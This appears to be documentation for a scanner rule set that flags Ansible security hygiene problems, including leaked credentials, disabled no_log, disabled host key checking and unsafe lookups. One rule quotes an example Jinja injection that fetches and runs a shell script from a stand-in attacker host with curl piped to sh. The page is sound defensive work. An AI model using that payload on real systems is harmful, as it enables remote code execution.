Ansible Best Practice Hygiene

Detects Ansible-specific security hygiene issues that require awareness of YAML task structure: secrets in comments, missing no_log on credential tasks, and ignore_errors on security-critical operations.

14 rules in ansible_hygiene.yml

CRITICAL: 1 | HIGH: 7 | MEDIUM: 4 | LOW: 2

Rule IDSeverityTitleDescriptionRefs
debug_of_ansible_magic_auth_variableCRITICALdebug: var / msg Echoes ansible_password / ansible_become_password (Active Credential Leak)An ansible.builtin.debug task (or bare debug:) prints one of Ansible’s reserved magic authentication variables - ansible_password, ansible_ssh_pass, ansible_become_password, ansible_become_pass, ansible_sudo_pass, ansible_su_pass, ansible_httpapi_pass, or ansible_netconf_pass. These variables hold the live SSH/become/API password the controller is currently using against managed nodes, and Ansible does NOT auto-scrub them from debug output. The result leaks to stdout, to the ansible-runner job artifacts, to the AWX/AAP job-output database, to CI log archives, and to any callback plugin (Splunk, Datadog, Slack) attached to the run. Unlike hardcoded-secret rules, this catches the case where the credential is sourced legitimately (vault / CI secret store) but then immediately dumped via a careless debug - a common ’let me just check what I’m using’ developer pattern that survives code review because the debug looks harmless.
allow_unsafe_lookups_enabledHIGHALLOW_UNSAFE_LOOKUPS Enabled (Lookup Plugin Unsafe-String Bypass)ALLOW_UNSAFE_LOOKUPS = True (or allow_unsafe_lookups: true in play-level vars: / role defaults/main.yml / ansible.cfg) disables Ansible’s default protection that strips the !unsafe marker from values returned by lookup plugins. Once disabled, a malicious or attacker-controlled external source read by lookup('file', ...), lookup('url', ...), lookup('pipe', ...), lookup('hashi_vault', ...), or any custom lookup can return a Jinja expression ({{ lookup('pipe','curl evil.example.com/x.sh | sh') }}) that will then be re-evaluated by Ansible’s template engine - classic template-injection-to-RCE.
ansible_host_key_checking_false_in_env_or_configHIGHANSIBLE_HOST_KEY_CHECKING=False In env / group_vars / Dockerfile (MitM Enabler)A task sets ANSIBLE_HOST_KEY_CHECKING=False (or =0, =no) in an environment: block, group_vars/all.yml, a Dockerfile ENV, or a CI pipeline env map. This disables SSH host-key verification for the entire Ansible control path, converting every connection into a MitM-vulnerable one. Attackers on-path (rogue Wi-Fi, compromised jump host, bluecoat-TLS-proxy misconfig) can intercept ansible -> managed node and steal root credentials or inject commands. This is distinct from the ansible.cfg [defaults] host_key_checking = False case (covered by ansible_cfg_host_key_checking_false) - this rule catches the env-level override that re-enables the weakness even when ansible.cfg is correct.
debug_var_of_registered_credential_outputHIGHdebug: var=<registered_result> After Task That Returned CredentialsA task registers the result of a credential-returning module (community.hashi_vault.vault_kv2_get, community.hashi_vault.vault_kv_get, ansible.builtin.uri with basic-auth, community.aws.aws_secret, amazon.aws.secretsmanager_secret) and a SUBSEQUENT task does ansible.builtin.debug: var: <same-name> or msg: '{{ <name> }}'. This echoes the secret to stdout / callback log / job-output DB. It’s a subtly different leak from no_log: false because the debug task itself isn’t marked sensitive and Ansible has no way to infer the provenance of the variable.
github_actions_allow_unsecure_commands_env_trueHIGHACTIONS_ALLOW_UNSECURE_COMMANDS=true in Workflow or Ansible-Rendered WorkflowSets the GitHub Actions escape-hatch environment variable ACTIONS_ALLOW_UNSECURE_COMMANDS=true, which re-enables the deprecated ::set-env:: and ::add-path:: workflow commands. With this on, ANY echo ::set-env name=FOO::$user_controlled step can inject environment variables - including LD_PRELOAD, PATH, NODE_OPTIONS - into subsequent steps’ shells. This is an RCE-as-a-feature primitive and was the root cause of CVE-2020-15228. Playbooks that template .github/workflows/*.yml or ansible.builtin.copy a workflow file containing this env var re-introduce the hole.
ignore_errors_securityHIGHignore_errors on Security-Critical Taskignore_errors: true (or yes) is set on a task whose name, module, path, or arguments reference a security-critical concern (firewall, selinux, sudoers, pam, auth, tls/ssl/cert, vault, iptables, ufw, key rotation). A hidden failure here leaves the system in a half-hardened state - often worse than no hardening at all, because the surrounding playbook reports success.
no_log_explicitly_false_on_credential_taskHIGHno_log Explicitly Disabled on Credential-Handling TaskA task block contains a secret-shaped variable ({{ *_password }}, {{ *_token }}, {{ vault_* }}, {{ *_api_key }}, {{ *_secret_key }}) AND explicitly sets no_log: false (or no_log: no). This defeats Ansible’s log suppression and dumps the resolved secret value into every task-result log line, callback plugin, and CI artifact - which is strictly worse than forgetting no_log entirely, because the author made an active decision to disable it.
no_log_false_on_secret_handling_taskHIGHno_log: false On Task Handling password/token/secret/api_keyA task explicitly sets no_log: false (or no_log: no, no_log: False) AND references password:, token:, secret:, api_key:, or authorization: in its module args. This writes the secret (or the full response containing it) in PLAINTEXT to the Ansible callback log, stdout, AAP/Tower job-output DB, and any CI-artifact upload. Default for sensitive modules is conservative but no_log: false forcibly overrides it - the exact config-drift that caused the 2024 TeamCity-Ansible-plugin incident where build logs contained every customer’s SSH private key.
ansible_vault_encrypt_string_with_inline_plaintextMEDIUMansible-vault encrypt_string Invoked With Inline Plaintext Literal In Same FileA shell task invokes ansible-vault encrypt_string and passes the plaintext as a literal argument (not from stdin, not from an env var, not from a file outside the repo). The plaintext - typically the secret the author is about to vault - is captured in shell history, git commit history, and Ansible callback logs BEFORE encryption happens. The result is the classic pre-encryption leak: the vault ends up committed but so does the plaintext one commit earlier.
commented_out_auth_blockMEDIUMCommented-Out Authentication BlockA commented-out block contains authentication logic with potential credential exposure
secret_in_commentMEDIUMCredential Visible in CommentA commented-out line contains what appears to be a hardcoded credential. Even in comments, credentials are visible in version control history.
tags_never_on_security_taskMEDIUMSecurity Task Tagged ’never’ (Executes Only When Explicitly Requested)A task with a name referencing a security concern (firewall, selinux, audit, harden, patch, cve, vulnerability, security) has tags: [never, ...] or tags: never. Tasks with the never tag are skipped by every ansible-playbook invocation UNLESS the caller passes --tags never - that means the security hardening never runs in normal runs, only when someone remembers to opt in. This is a classic ‘defense-in-depth disabled by default’ anti-pattern.
ansible_block_without_rescue_or_alwaysLOWansible Block Without rescue/always Handler (Silent-Failure Anti-Pattern)A top-level - block: construct is declared without a sibling rescue: or always: key within ~200 lines of the block: opener. Ansible’s block primitive exists specifically to provide try/except semantics - a block with NO rescue: swallows any task-level failure behavior into the default fail-fast, which is often NOT what the author intends (expected pattern: log the failure, remediate, continue). More importantly, the lack of rescue: is the #1 source of half-applied configuration drift: a middle task in the block fails, Ansible aborts, earlier tasks’ side-effects (file creates, service starts, DB rows) remain - and the next run may not reconcile them.
fss_vault_on_non_secret_valueLOWFalse-Sense-of-Security: !vault Applied to Non-Sensitive ValueA variable whose name indicates non-sensitive content (hostname, host, port, url, path, timeout, enabled, count, version, region, zone, protocol, scheme, filename, dir, directory) is assigned a !vault | encrypted block. Encrypting a hostname or port number doesn’t protect anything - the value isn’t secret - but it obscures the playbook from review, breaks diff-based audits, and creates a false-sense-of-security (real secrets and fake secrets become indistinguishable, so the real ones stop getting extra scrutiny). Reserve ansible-vault encrypt_string for passwords, tokens, private keys, and API credentials.